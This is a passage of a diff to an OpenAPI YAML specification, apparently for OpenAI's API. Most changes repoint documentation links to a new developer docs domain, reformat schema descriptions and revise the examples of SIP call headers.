+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -58085,9 +58163,9 @@ components:
required:
- event
- data
- description: Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) moves to a `cancelling` status.
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `cancelling` status.
x-oaiMeta:
- dataDescription: '`data` is a [run](/docs/api-reference/runs/object)'
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -58100,9 +58178,9 @@ components:
required:
- event
- data
- description: Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) is cancelled.
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) is cancelled.
x-oaiMeta:
- dataDescription: '`data` is a [run](/docs/api-reference/runs/object)'
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -58115,9 +58193,9 @@ components:
required:
- event
- data
- description: Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) expires.
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) expires.
x-oaiMeta:
- dataDescription: '`data` is a [run](/docs/api-reference/runs/object)'
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
discriminator:
propertyName: event
RunToolCallObject:
@@ -58126,7 +58204,7 @@ components:
properties:
id:
type: string
- description: The ID of the tool call. This ID must be referenced when you submit the tool outputs in using the [Submit tool outputs to run](https://platform.openai.com/docs/api-reference/runs/submitToolOutputs) endpoint.
+ description: The ID of the tool call. This ID must be referenced when you submit the tool outputs in using the [Submit tool outputs to run](https://developers.openai.com/api/docs/assistants/migration) endpoint.
type:
type: string
description: The type of tool call the output is required for. For now, this is always `function`.
@@ -58157,8 +58235,8 @@ components:
Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'.
- If set to 'default', then the request will be processed with the standard pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
+ - If set to '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
+ - To opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
@@ -58178,8 +58256,8 @@ components:
Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'.
- If set to 'default', then the request will be processed with the standard pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
+ - If set to '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
+ - To opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the access-controlled Ultrafast Processing service tier. This tier is currently available for `gpt-5.6-sol`; a response served through it will show `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
@@ -58382,7 +58460,20 @@ components:
required:
- tool_outputs
TextResponseFormatConfiguration:
- description: "An object specifying the format that the model must output.\n\nConfiguring `{ \"type\": \"json_schema\" }` enables Structured Outputs, \nwhich ensures the model will match your supplied JSON schema. Learn more in the \n[Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).\n\nThe default format is `{ \"type\": \"text\" }` with no additional options.\n\n**Not recommended for gpt-4o and newer models:**\n\nSetting to `{ \"type\": \"json_object\" }` enables the older JSON mode, which\nensures the message the model generates is valid JSON. Using `json_schema`\nis preferred for models that support it.\n"
+ description: |
+ An object specifying the format that the model must output.
+
+ Configuring `{ "type": "json_schema" }` enables Structured Outputs,
+ which ensures the model will match your supplied JSON schema. Learn more in the
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
+
+ The default format is `{ "type": "text" }` with no additional options.
+
+ **Not recommended for gpt-4o and newer models:**
+
+ Setting to `{ "type": "json_object" }` enables the older JSON mode, which
+ ensures the message the model generates is valid JSON. Using `json_schema`
+ is preferred for models that support it.
anyOf:
- $ref: '#/components/schemas/ResponseFormatText'
- $ref: '#/components/schemas/TextResponseFormatJsonSchema'
@@ -58394,7 +58485,7 @@ components:
title: JSON schema
description: |
JSON Schema response format. Used to generate structured JSON responses.
- Learn more about [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs).
+ Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
properties:
type:
type: string
@@ -58423,7 +58514,7 @@ components:
If set to true, the model will always follow the exact schema defined
in the `schema` field. Only a subset of JSON Schema is supported when
`strict` is `true`. To learn more, read the [Structured Outputs
- guide](https://platform.openai.com/docs/guides/structured-outputs).
+ guide](https://developers.openai.com/api/docs/guides/structured-outputs).
- type: 'null'
required:
- type
@@ -58432,7 +58523,7 @@ components:
ThreadObject:
type: object
title: Thread
- description: Represents a thread that contains [messages](https://platform.openai.com/docs/api-reference/messages).
+ description: Represents a thread that contains [messages](https://developers.openai.com/api/docs/assistants/migration).
properties:
id:
description: The identifier, which can be referenced in API endpoints.
@@ -58459,7 +58550,7 @@ components:
file_ids:
type: array
description: |
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
default: []
maxItems: 20
items:
@@ -58470,7 +58561,7 @@ components:
vector_store_ids:
type: array
description: |
- The [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
+ The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
maxItems: 1
items:
type: string
@@ -58510,9 +58601,9 @@ components:
required:
- event
- data
- description: Occurs when a new [thread](https://platform.openai.com/docs/api-reference/threads/object) is created.
+ description: Occurs when a new [thread](https://developers.openai.com/api/docs/assistants/migration) is created.
x-oaiMeta:
- dataDescription: '`data` is a [thread](/docs/api-reference/threads/object)'
+ dataDescription: '`data` is a [thread](https://developers.openai.com/api/docs/assistants/migration)'
discriminator:
propertyName: event
ToggleCertificatesRequest:
@@ -58695,13 +58786,13 @@ components:
title: Hosted tool
description: |
Indicates that the model should use a built-in tool to generate a response.
- [Learn more about built-in tools](https://platform.openai.com/docs/guides/tools).
+ [Learn more about built-in tools](https://developers.openai.com/api/docs/guides/tools).
properties:
type:
type: string
description: |
The type of hosted tool the model should to use. Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
Allowed values are:
- `file_search`
@@ -58730,22 +58821,22 @@ components:
We support the following categories of tools:
- **Built-in tools**: Tools that are provided by OpenAI that extend the
- model's capabilities, like [web search](https://platform.openai.com/docs/guides/tools-web-search)
- or [file search](https://platform.openai.com/docs/guides/tools-file-search). Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ model's capabilities, like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or [file search](https://developers.openai.com/api/docs/guides/tools-file-search). Learn more about
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers
or predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you,
enabling the model to call your own code with strongly typed arguments
and outputs. Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling). You can also use
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling). You can also use
custom tools to call your own code.
items:
$ref: '#/components/schemas/Tool'
TranscriptTextDeltaEvent:
type: object
- description: Emitted when there is an additional text delta. This is also the first event emitted when the transcription starts. Only emitted when you [create a transcription](https://platform.openai.com/docs/api-reference/audio/create-transcription) with the `Stream` parameter set to `true`.
+ description: Emitted when there is an additional text delta. This is also the first event emitted when the transcription starts. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `Stream` parameter set to `true`.
properties:
type:
type: string
@@ -58761,7 +58852,7 @@ components:
logprobs:
type: array
description: |
- The log probabilities of the delta. Only included if you [create a transcription](https://platform.openai.com/docs/api-reference/audio/create-transcription) with the `include[]` parameter set to `logprobs`.
+ The log probabilities of the delta. Only included if you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `include[]` parameter set to `logprobs`.
items:
type: object
properties:
@@ -58796,7 +58887,7 @@ components:
}
TranscriptTextDoneEvent:
type: object
- description: Emitted when the transcription is complete. Contains the complete transcription text. Only emitted when you [create a transcription](https://platform.openai.com/docs/api-reference/audio/create-transcription) with the `Stream` parameter set to `true`.
+ description: Emitted when the transcription is complete. Contains the complete transcription text. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `Stream` parameter set to `true`.
properties:
type:
type: string
@@ -58818,7 +58909,7 @@ components:
logprobs:
type: array
description: |
- The log probabilities of the individual tokens in the transcription. Only included if you [create a transcription](https://platform.openai.com/docs/api-reference/audio/create-transcription) with the `include[]` parameter set to `logprobs`.
+ The log probabilities of the individual tokens in the transcription. Only included if you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `include[]` parameter set to `logprobs`.
items:
type: object
properties:
@@ -58862,7 +58953,7 @@ components:
TranscriptTextSegmentEvent:
type: object
description: |
- Emitted when a diarized transcription returns a completed segment with speaker information. Only emitted when you [create a transcription](https://platform.openai.com/docs/api-reference/audio/create-transcription) with `stream` set to `true` and `response_format` set to `diarized_json`.
+ Emitted when a diarized transcription returns a completed segment with speaker information. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with `stream` set to `true` and `response_format` set to `diarized_json`.
properties:
type:
type: string
@@ -59224,7 +59315,7 @@ components:
description: The intended number of bytes to be uploaded.
purpose:
type: string
- description: The intended purpose of the file. [Please refer here](https://platform.openai.com/docs/api-reference/files/object#files/object-purpose) for acceptable values.
+ description: The intended purpose of the file. [Please refer here](https://developers.openai.com/api/reference/resources/files#%28resource%29%20files%20%3E%20%28model%29%20file_object%20%3E%20%28schema%29%20%3E%20%28property%29%20purpose) for acceptable values.
status:
type: string
description: The status of the Upload.
@@ -60338,7 +60429,7 @@ components:
type: integer
format: unixtime
vector_store_id:
- description: The ID of the [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) that the [File](https://platform.openai.com/docs/api-reference/files) is attached to.
+ description: The ID of the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) that the [File](https://developers.openai.com/api/reference/resources/files) is attached to.
type: string
status:
description: The status of the vector store files batch, which can be either `in_progress`, `completed`, `cancelled` or `failed`.
@@ -60454,7 +60545,7 @@ components:
type: integer
format: unixtime
vector_store_id:
- description: The ID of the [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) that the [File](https://platform.openai.com/docs/api-reference/files) is attached to.
+ description: The ID of the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) that the [File](https://developers.openai.com/api/reference/resources/files) is attached to.
type: string
status:
description: The status of the vector store file, which can be either `in_progress`, `completed`, `cancelled`, or `failed`. The status `completed` indicates that the vector store file is ready for use.
@@ -61117,7 +61208,7 @@ components:
title: Web search
description: |
Search the Internet for sources related to the prompt. Learn more about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
properties:
type:
type: string
@@ -61168,7 +61259,7 @@ components:
title: Web search tool call
description: |
The results of a web search tool call. See the
- [web search guide](https://platform.openai.com/docs/guides/tools-web-search) for more information.
+ [web search guide](https://developers.openai.com/api/docs/guides/tools-web-search) for more information.
properties:
id:
type: string
@@ -61761,7 +61852,9 @@ components:
sip_headers:
type: array
description: |
- Headers from the SIP Invite.
+ Headers from the SIP INVITE, excluding SIP authorization headers.
+ Retained names, values, repeated entries, and order are preserved.
+ Treat these values as untrusted call metadata.
items:
type: object
description: |
@@ -61803,9 +61896,9 @@ components:
"data": {
"session_id": "live_u0_479a275623b54bdb9b6fbae2f7cbd408",
"sip_headers": [
- {"name": "Max-Forwards", "value": "63"},
- {"name": "CSeq", "value": "851287 INVITE"},
- {"name": "Content-Type", "value": "application/sdp"},
+ {"name": "From", "value": ";tag=abc123"},
+ {"name": "To", "value": ""},
+ {"name": "Call-ID", "value": "call-123@example.com"}
]
}
}
@@ -61849,7 +61942,9 @@ components:
sip_headers:
type: array
description: |
- Headers from the SIP Invite.
+ Headers from the SIP INVITE, excluding SIP authorization headers.
+ Retained names, values, repeated entries, and order are preserved.
+ Treat these values as untrusted call metadata.
items:
type: object
description: |
@@ -61893,7 +61988,7 @@ components:
"sip_headers": [
{"name": "Max-Forwards", "value": "63"},
{"name": "CSeq", "value": "851287 INVITE"},
- {"name": "Content-Type", "value": "application/sdp"},
+ {"name": "Content-Type", "value": "application/sdp"}
]
}
}
@@ -62297,7 +62392,7 @@ components:
type: object
required: []
title: Prompt cache options
- description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
PromptCacheBreakpointParam:
properties:
mode:
@@ -62829,7 +62924,7 @@ components:
- type
- detail
title: Input image
- description: An image input to the model. Learn about [image inputs](https://platform.openai.com/docs/guides/vision).
+ description: An image input to the model. Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
ComputerScreenshotContent:
properties:
type:
@@ -63426,7 +63521,7 @@ components:
- strict
- parameters
title: Function
- description: Defines a function in your own code the model can choose to call. Learn more about [function calling](https://platform.openai.com/docs/guides/function-calling).
+ description: Defines a function in your own code the model can choose to call. Learn more about [function calling](https://developers.openai.com/api/docs/guides/function-calling).
RankerVersionType:
type: string
enum:
@@ -63491,7 +63586,7 @@ components:
- type
- vector_store_ids
title: File search
- description: A tool that searches for relevant content from uploaded files. Learn more about the [file search tool](https://platform.openai.com/docs/guides/tools-file-search).
+ description: A tool that searches for relevant content from uploaded files. Learn more about the [file search tool](https://developers.openai.com/api/docs/guides/tools-file-search).
ComputerTool:
properties:
type:
@@ -63505,7 +63600,7 @@ components:
required:
- type
title: Computer
- description: A tool that controls a virtual computer. Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ description: A tool that controls a virtual computer. Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
ComputerEnvironment:
type: string
enum:
@@ -63539,7 +63634,7 @@ components:
- display_width
- display_height
title: Computer use preview
- description: A tool that controls a virtual computer. Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ description: A tool that controls a virtual computer. Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
ContainerMemoryLimit:
type: string
enum:
@@ -63802,7 +63897,7 @@ components:
- type
- name
title: Custom tool
- description: A custom tool that processes input using a specified format. Learn more about [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
+ description: A custom tool that processes input using a specified format. Learn more about [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
EmptyModelParam:
properties: {}
type: object
@@ -63989,7 +64084,7 @@ components:
required:
- type
title: Web search preview
- description: This tool searches the web for relevant results to use in a response. Learn more about the [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ description: This tool searches the web for relevant results to use in a response. Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
ApplyPatchToolParam:
properties:
type:
@@ -64162,7 +64257,7 @@ components:
- id
- encrypted_content
title: Compaction item
- description: A compaction item generated by the [`v1/responses/compact` API](https://platform.openai.com/docs/api-reference/responses/compact).
+ description: A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
CodeInterpreterOutputLogs:
properties:
type:
@@ -64782,7 +64877,7 @@ components:
required:
- type
title: Input image
- description: An image input to the model. Learn about [image inputs](https://platform.openai.com/docs/guides/vision)
+ description: An image input to the model. Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision)
FileDetailEnum:
type: string
enum:
@@ -65127,7 +65222,7 @@ components:
- type
- encrypted_content
title: Compaction item
- description: A compaction item generated by the [`v1/responses/compact` API](https://platform.openai.com/docs/api-reference/responses/compact).
+ description: A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
FunctionShellActionParam:
properties:
commands:
@@ -65766,7 +65861,7 @@ components:
type: object
required: []
title: Prompt cache options
- description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
ReasoningModeEnum:
anyOf:
- type: string
@@ -66963,7 +67058,7 @@ components:
model:
anyOf:
- type: string
- description: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
+ description: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
- type: 'null'
input:
anyOf:
@@ -66981,7 +67076,7 @@ components:
previous_response_id:
anyOf:
- type: string
- description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://platform.openai.com/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
+ description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
example: resp_123
- type: 'null'
tools:
@@ -66998,7 +67093,7 @@ components:
reasoning:
anyOf:
- $ref: '#/components/schemas/Reasoning'
- description: '**gpt-5 and o-series models only** Configuration options for [reasoning models](https://platform.openai.com/docs/guides/reasoning).'
+ description: '**gpt-5 and o-series models only** Configuration options for [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).'
- type: 'null'
truncation:
$ref: '#/components/schemas/TruncationEnum'
@@ -67081,7 +67176,7 @@ components:
previous_response_id:
anyOf:
- type: string
- description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://platform.openai.com/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
+ description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
example: resp_123
- type: 'null'
instructions:
@@ -67111,7 +67206,7 @@ components:
anyOf:
- $ref: '#/components/schemas/ServiceTierEnum'
description: |-
- Specifies the processing type used for serving the request. - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'. - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model. - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier. - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. For models with a dedicated Fast tier, either value resolves to `service_tier=fast`; for other models, either value resolves to `service_tier=priority`. - When not set, the default behavior is 'auto'.
+ Specifies the processing type used for serving the request. - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'. - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model. - If set to '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier. - To opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. For models with a dedicated Fast tier, either value resolves to `service_tier=fast`; for other models, either value resolves to `service_tier=priority`. - When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
- type: 'null'
type: object
@@ -68565,7 +68660,7 @@ components:
model:
anyOf:
- type: string
- description: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
+ description: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
- type: 'null'
input:
anyOf:
@@ -68583,7 +68678,7 @@ components:
previous_response_id:
anyOf:
- type: string
- description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://platform.openai.com/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
+ description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
example: resp_123
- type: 'null'
tools:
@@ -68600,7 +68695,7 @@ components:
reasoning:
anyOf:
- $ref: '#/components/schemas/BetaReasoning'
- description: '**gpt-5 and o-series models only** Configuration options for [reasoning models](https://platform.openai.com/docs/guides/reasoning).'
+ description: '**gpt-5 and o-series models only** Configuration options for [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).'
- type: 'null'
truncation:
$ref: '#/components/schemas/BetaTruncationEnum'
@@ -68753,13 +68848,13 @@ components:
title: Hosted tool
description: |
Indicates that the model should use a built-in tool to generate a response.
- [Learn more about built-in tools](https://platform.openai.com/docs/guides/tools).
+ [Learn more about built-in tools](https://developers.openai.com/api/docs/guides/tools).
properties:
type:
type: string
description: |
The type of hosted tool the model should to use. Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
Allowed values are:
- `file_search`
@@ -68880,7 +68975,7 @@ components:
type: object
description: |
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
title: Reasoning
properties:
mode:
@@ -68954,7 +69049,7 @@ components:
Reducing reasoning effort can result in faster responses and fewer tokens
used on reasoning in a response. Not all reasoning models support every
value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning)
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning)
for model-specific support.
- type: 'null'
BetaReasoningModeEnum:
@@ -68969,8 +69064,8 @@ components:
description: |
Configuration options for a text response from the model. Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
properties:
format:
$ref: '#/components/schemas/BetaTextResponseFormatConfiguration'
@@ -68991,7 +69086,20 @@ components:
`medium`.
- type: 'null'
BetaTextResponseFormatConfiguration:
- description: "An object specifying the format that the model must output.\n\nConfiguring `{ \"type\": \"json_schema\" }` enables Structured Outputs, \nwhich ensures the model will match your supplied JSON schema. Learn more in the \n[Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).\n\nThe default format is `{ \"type\": \"text\" }` with no additional options.\n\n**Not recommended for gpt-4o and newer models:**\n\nSetting to `{ \"type\": \"json_object\" }` enables the older JSON mode, which\nensures the message the model generates is valid JSON. Using `json_schema`\nis preferred for models that support it.\n"
+ description: |
+ An object specifying the format that the model must output.
+
+ Configuring `{ "type": "json_schema" }` enables Structured Outputs,
+ which ensures the model will match your supplied JSON schema. Learn more in the
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
+
+ The default format is `{ "type": "text" }` with no additional options.
+
+ **Not recommended for gpt-4o and newer models:**
+
+ Setting to `{ "type": "json_object" }` enables the older JSON mode, which
+ ensures the message the model generates is valid JSON. Using `json_schema`
+ is preferred for models that support it.
anyOf:
- $ref: '#/components/schemas/BetaResponseFormatText'
- $ref: '#/components/schemas/BetaTextResponseFormatJsonSchema'
@@ -69020,7 +69128,7 @@ components:
title: JSON schema
description: |
JSON Schema response format. Used to generate structured JSON responses.
- Learn more about [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs).
+ Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
properties:
type:
type: string
@@ -69049,7 +69157,7 @@ components:
If set to true, the model will always follow the exact schema defined
in the `schema` field. Only a subset of JSON Schema is supported when
`strict` is `true`. To learn more, read the [Structured Outputs
- guide](https://platform.openai.com/docs/guides/structured-outputs).
+ guide](https://developers.openai.com/api/docs/guides/structured-outputs).
- type: 'null'
required:
- type
@@ -69151,7 +69259,7 @@ components:
required:
- type
title: Web search preview
- description: This tool searches the web for relevant results to use in a response. Learn more about the [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ description: This tool searches the web for relevant results to use in a response. Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
BetaSearchContentType:
type: string
enum:
@@ -69307,7 +69415,7 @@ components:
- type
- name
title: Custom tool
- description: A custom tool that processes input using a specified format. Learn more about [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
+ description: A custom tool that processes input using a specified format. Learn more about [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
BetaCustomGrammarFormatParam:
properties:
type:
@@ -69907,7 +70015,7 @@ components:
title: MCP tool
description: |
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
properties:
type:
type: string
@@ -69939,7 +70047,7 @@ components:
description: |
Identifier for service connectors, like those available in ChatGPT. One of
`server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
- about service connectors [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ about service connectors [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
@@ -70055,7 +70163,7 @@ components:
title: Web search
description: |
Search the Internet for sources related to the prompt. Learn more about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
properties:
type:
type: string
@@ -70161,7 +70269,7 @@ components:
- display_width
- display_height
title: Computer use preview
- description: A tool that controls a virtual computer. Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ description: A tool that controls a virtual computer. Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
BetaComputerEnvironment:
type: string
enum:
@@ -70183,7 +70291,7 @@ components:
required:
- type
title: Computer
- description: A tool that controls a virtual computer. Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ description: A tool that controls a virtual computer. Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
BetaFileSearchTool:
properties:
type:
@@ -70214,7 +70322,7 @@ components:
- type
- vector_store_ids
title: File search
